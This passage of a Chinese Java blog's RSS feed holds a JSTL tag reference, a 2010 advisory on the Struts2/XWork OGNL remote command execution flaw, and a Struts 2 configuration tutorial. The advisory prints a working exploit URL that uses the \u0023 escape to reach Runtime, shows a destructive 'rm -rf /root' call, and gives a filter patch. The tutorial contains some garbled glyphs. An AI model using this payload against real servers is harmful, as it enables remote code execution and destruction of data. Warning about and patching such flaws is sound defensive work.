&lt;/c:otherwise&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>迭代标签&nbsp;&nbsp;&nbsp; <br />
</strong></span><span style="color: red">1．&lt;c:forEach&gt;&nbsp;&nbsp;</span>&nbsp; <br />
语法1：在Collection中迭代&nbsp;&nbsp;&nbsp; <br />
&lt;c:forEach[var=&#8221;varName&#8221;] items=&#8221;collection&#8221; [varStatus=&#8221;varStatusName&#8221;]&nbsp;&nbsp;&nbsp; <br />
[begin=&#8221;begin&#8221;] [end=&#8221;end&#8221;] [step=&#8221;step&#8221;]&nbsp;&nbsp;&nbsp; <br />
Body内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:foeEach&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
语法2：迭代固定的次数.&nbsp;&nbsp;&nbsp; <br />
&lt;c:forEach [var=&#8221;varName&#8221;] [varStatus=&#8221;varStatusName&#8221;]&nbsp;&nbsp;&nbsp; <br />
[begin=&#8221;begin&#8221;] [end=&#8221;end&#8221;] [step=&#8221;step&#8221;]&nbsp;&nbsp;&nbsp; <br />
Body内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:foeEach&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
var String 迭代的参数，它是标签参数，在其他标签中通过它来引用这个标签中的内容。&nbsp;&nbsp;&nbsp; <br />
Items Collection、ArrayList、 要迭代的items集合.&nbsp;&nbsp;&nbsp; <br />
Iterator、Map、String、&nbsp;&nbsp;&nbsp; <br />
Eunmeration等&nbsp;&nbsp;&nbsp; <br />
VarStatus String 表示迭代的状态，可以访问迭代自身的信息&nbsp;&nbsp;&nbsp; <br />
Begin int 表示开始迭代的位置。&nbsp;&nbsp;&nbsp; <br />
End int 表示结束迭代的位置。&nbsp;&nbsp;&nbsp; <br />
Step int 表示迭代移动的步长，默认为1。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>URL相关的标签&nbsp;&nbsp;</strong></span>&nbsp; <br />
<span style="color: red">1．&lt;c:import&gt;&nbsp;</span>&nbsp;&nbsp; <br />
语法1：资源的内容使用String对象向外暴露&nbsp;&nbsp;&nbsp; <br />
&lt;c:import url=&#8221;url&#8221; [context=&#8221;context&#8221;]&nbsp;&nbsp;&nbsp; <br />
[var=&#8221;varName&#8221;] [scope=&#8221;{page|request|session|application}&#8221;] [charEncoding=&#8221;charEncoding&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:import&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
语法2：资源的内容使用Reader对象向外暴露。&nbsp;&nbsp;&nbsp; <br />
&lt;c:import url=&#8221;url&#8221; [context=&#8221;context&#8221;]&nbsp;&nbsp;&nbsp; <br />
varReader=&#8221;varReaderName&#8221; [charEncoding=&#8221;charEncoding&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:import&gt;&nbsp;&nbsp;&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
url String 待导入资源的URL，可以是相对路径和绝对路径，并且可以导入其他主机资源&nbsp;&nbsp;&nbsp; <br />
context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字。&nbsp;&nbsp;&nbsp; <br />
var String 参数的名字。&nbsp;&nbsp;&nbsp; <br />
scope String var参数的作用范围。&nbsp;&nbsp;&nbsp; <br />
cahrEncoding String 输入资源的字符编码。&nbsp;&nbsp;&nbsp; <br />
varReader String 这个参数的类型是Reader,用于读取资源。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">2．&lt;c:redirct&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法1:没有Body的情况.&nbsp;&nbsp;&nbsp; <br />
&lt;c:redirect url=&#8221;value&#8221; [context=&#8221;context&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：有Body情况下，在Body中指定查询的参数&nbsp;&nbsp;&nbsp; <br />
&lt;c:redirect url=&#8221;value&#8221; [context=&#8221;context&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;c:param name=&#8221;name&#8221; value=&#8221;value&#8221;/&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/c:redirect&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">3．&lt;c:url&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法1：没有Body&nbsp;&nbsp;&nbsp; <br />
&lt;c:url value=&#8221;value&#8221; [context=&#8221;context&#8221;] [var=&#8221;varName&#8221;] [scope=&#8221;{page|request|session+application}&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：有Body&nbsp;&nbsp;&nbsp; <br />
&lt;c:url value=&#8221;value&#8221; [context=&#8221;context&#8221;] [var=&#8221;varName&#8221;] [scope=&#8221;{page|request|session+application}&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;c:param name=&#8221;name&#8221; value=&#8221;value&#8221;/&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/c:url&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
value String URL值&nbsp;&nbsp;&nbsp; <br />
context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字&nbsp;&nbsp;&nbsp; <br />
var String 标识这个URL标量。&nbsp;&nbsp;&nbsp; <br />
Scope String 变量作用范围。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>SQL相关的标签&nbsp;&nbsp;</strong></span>&nbsp; <br />
1．&lt;sql:setDataSource&gt;&nbsp;&nbsp;&nbsp; <br />
2．&lt;sql:query&gt;&nbsp;&nbsp;&nbsp; <br />
3．&lt;sql:update&gt;&nbsp;&nbsp;&nbsp; <br />
4．&lt;transaction&gt;&nbsp;&nbsp;&nbsp; <br />
5．&lt;param&gt; </p>
<img src ="http://www.blogjava.net/ywj-316/aggbug/338668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-11-22 10:41 <a href="http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>米struts2的用户请注意这个超级安全漏洞</title><link>http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Fri, 30 Jul 2010 10:15:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/327596.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/327596.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/327596.html</trackback:ping><description><![CDATA[最近发现　struts 2的这个严重安全漏洞，在http://www.javaeye.com/topic/720209中已经有所表述，主要是ＯＧＮＬ的问题，摘录如下： <br />
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。 <br />
漏洞名称：Struts2/XWork &lt; 2.2.0 Remote Command Execution Vulnerability <br />
相关介绍： <br />
http://www.exploit-db.com/exploits/14360/ <br />
http://sebug.net/exploit/19954/ <br />
<br />
Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数： <br />
Java代码 <br />
?user.address.city=Bishkek&amp;user['favoriteDrink']=kumys&nbsp; <br />
<br />
?user.address.city=Bishkek&amp;user['favoriteDrink']=kumys <br />
ONGL将它转换为： <br />
Java代码 <br />
action.getUser().getAddress().setCity("Bishkek")&nbsp;&nbsp; <br />
action.getUser().setFavoriteDrink("kumys")&nbsp; <br />
<br />
action.getUser().getAddress().setCity("Bishkek") <br />
action.getUser().setFavoriteDrink("kumys") <br />
这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。 <br />
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现&#8220;#&#8221;字符，但如果使用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值： <br />
此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击 <br />
Java代码 <br />
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1&nbsp; <br />
<br />
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 <br />
转义后是这样： <br />
Java代码 <br />
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&amp;(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&amp;(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1&nbsp; <br />
<br />
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&amp;(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&amp;(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 <br />
OGNL处理时最终的结果就是Java代码 <br />
java.lang.Runtime.getRuntime().exit(1);&nbsp; <br />
<br />
java.lang.Runtime.getRuntime().exit(1); <br />
类似的可以执行Java代码 <br />
java.lang.Runtime.getRuntime().exec("rm &#8211;rf /root")&nbsp; <br />
<br />
java.lang.Runtime.getRuntime().exec("rm &#8211;rf /root")，只要有权限就可以删除任何一个目录。 <br />
<br />
<br />
目前的解决方法如下，官方的出了补丁的，可以在 <br />
http://svn.apache.org/viewvc?view=revision&amp;revision=956389 <br />
目前２．１．８的最新版本的，可以下载其中这个补丁修补， <br />
而如果你的版本是低于２．１．８的，可以去下载xwork-2.XX.JAR对应的源代码（本来想反编译ＪＡＲ的，发现还是找源代码好）， <br />
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java <br />
在其中的acceptableName方法中调整如下： <br />
protected boolean acceptableName(String name) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; boolean foundMatch=false;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foundMatch = name.contains("\\u0023");&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(foundMatch){&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || name.indexOf(':') != -1 || isExcluded(name)) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; } 
 <img src ="http://www.blogjava.net/ywj-316/aggbug/327596.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-07-30 18:15 <a href="http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Struts 2的配置文件􃕂􁭛􀓊􂱘􄜡􃕂􁭛􀓊</title><link>http://www.blogjava.net/ywj-316/archive/2010/03/05/314565.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Fri, 05 Mar 2010 02:24:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/03/05/314565.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/314565.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/03/05/314565.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/314565.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/314565.html</trackback:ping><description><![CDATA[<p>1 配置Action的struts.xml 􁭛􀓊􀇄</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #0000ff">&lt;</span><span style="color: #800000">struts</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">&lt;!--</span><span style="color: #008000">&nbsp;Struts&nbsp;2的Action都必须配置在package里</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">package&nbsp;</span><span style="color: #ff0000">name</span><span style="color: #0000ff">="default"</span><span style="color: #ff0000">&nbsp;extends</span><span style="color: #0000ff">="struts-default"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">&nbsp;定义一个Logon的Action实现类为lee.Logon&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">action&nbsp;</span><span style="color: #ff0000">name</span><span style="color: #0000ff">="Logon"</span><span style="color: #ff0000">&nbsp;class</span><span style="color: #0000ff">="lee.Logon"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Action返回input时转入/pages/Logon.jsp页面</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">result&nbsp;</span><span style="color: #ff0000">name</span><span style="color: #0000ff">="input"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">/pages/Logon.jsp</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">result</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Action返回cancel时重定向到Welcome的Action</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">result&nbsp;</span><span style="color: #ff0000">name</span><span style="color: #0000ff">="cancel"</span><span style="color: #ff0000">&nbsp;type</span><span style="color: #0000ff">="redirect-action"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">Welcome</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">result</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Action返回success时重定向到MainMenu的Action&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">result&nbsp;</span><span style="color: #ff0000">type</span><span style="color: #0000ff">="redirect-action"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">MainMenu</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">result</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Action返回expired时进入ChangePassword的Action连</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">result&nbsp;</span><span style="color: #ff0000">name</span><span style="color: #0000ff">="expired"</span><span style="color: #ff0000">&nbsp;type</span><span style="color: #0000ff">="chain"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">ChangePassword</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">result</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">action</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">定义Logoff的Action实现类为lee.Logoff&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">action&nbsp;</span><span style="color: #ff0000">name</span><span style="color: #0000ff">="Logoff"</span><span style="color: #ff0000">&nbsp;class</span><span style="color: #0000ff">="&nbsp;lee.Logoff"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Action返回success重定向到MainMenu的Action&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">result&nbsp;</span><span style="color: #ff0000">type</span><span style="color: #0000ff">="redirect-action"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">Welcome</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">result</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">action</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">package</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">struts</span><span style="color: #0000ff">&gt;</span></div>
2 配置Struts 2 全局属性的struts.properties 􁭛􀓊􀇄<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /><span style="color: #008000">#</span><span style="color: #008000">指定Struts&nbsp;2处于开发状态&nbsp;􀻘􀑢􁓔􀦥􂢊􁗕</span><span style="color: #008000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">struts</span><span style="color: #000000">.</span><span style="color: #000000">devMode&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;false<br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">#</span><span style="color: #008000">指定当Struts&nbsp;2配置文件改变后，Web框架是否重新加载Struts&nbsp;2配置文件&nbsp;􄜡􃕂􁭛􀓊</span><span style="color: #008000"><br />
<img alt="" src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">struts</span><span style="color: #000000">.</span><span style="color: #000000">configuration</span><span style="color: #000000">.</span><span style="color: #000000">xml</span><span style="color: #000000">.</span><span style="color: #000000">reload</span><span style="color: #000000">=</span><span style="color: #000000">true</span></div>
3 编辑Web 应用的web.xml配置文件，配置Struts 2 的核心Filter􀇄
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #0000ff">&lt;?</span><span style="color: #ff00ff">xml&nbsp;version="1.0"&nbsp;encoding="GBK"</span><span style="color: #0000ff">?&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">&nbsp;web-app是Web应用配置文件的根元素，提定Web应用的Schema信息</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">web-app&nbsp;</span><span style="color: #ff0000">version</span><span style="color: #0000ff">="2.4"</span><span style="color: #ff0000">&nbsp;xmlns</span><span style="color: #0000ff">="http://java.sun.com/xml/ns/j2ee"</span><span style="color: #ff0000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />xmlns:xsi</span><span style="color: #0000ff">="http://www.w3.org/2001/XMLSchema-instance"</span><span style="color: #ff0000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />xsi:schemaLocation</span><span style="color: #0000ff">="http://java.sun.com/xml/ns/j2ee&nbsp;http://java.sun.<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />com/xml/ns/j2ee/web-app_2_4.xsd"</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">定义Struts&nbsp;2的FilterDispatcher的Filter&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">filter</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">&nbsp;定义核心Filter的名字</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">filter-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">struts2</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">filter-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">典定义核心Filter的实现类&nbsp;</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">filter-class</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">org.apache.Struts2.dispatcher.FilterDispatcher<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">&nbsp;filter-class</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">init-param</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Struts&nbsp;2框架默认加载的Action包结构</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">param-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">actionPackages</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">param-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">param-value</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">org.apache.struts2.showcase.person</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">param-value</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">init-param</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">配置Struts&nbsp;2框架的配置提共者类</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">init-param</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">param-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">configProviders&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">param-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">param-value</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">lee.MyConfigurationProvider</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">param-value</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">init-param</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">filter</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">&lt;!--</span><span style="color: #008000">&nbsp;FilterDispatcher用来初始化Struts&nbsp;2并且处理所有的Web请求</span><span style="color: #008000">--&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">filter-mapping</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">&lt;</span><span style="color: #800000">filter-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">Struts2</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">filter-name</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
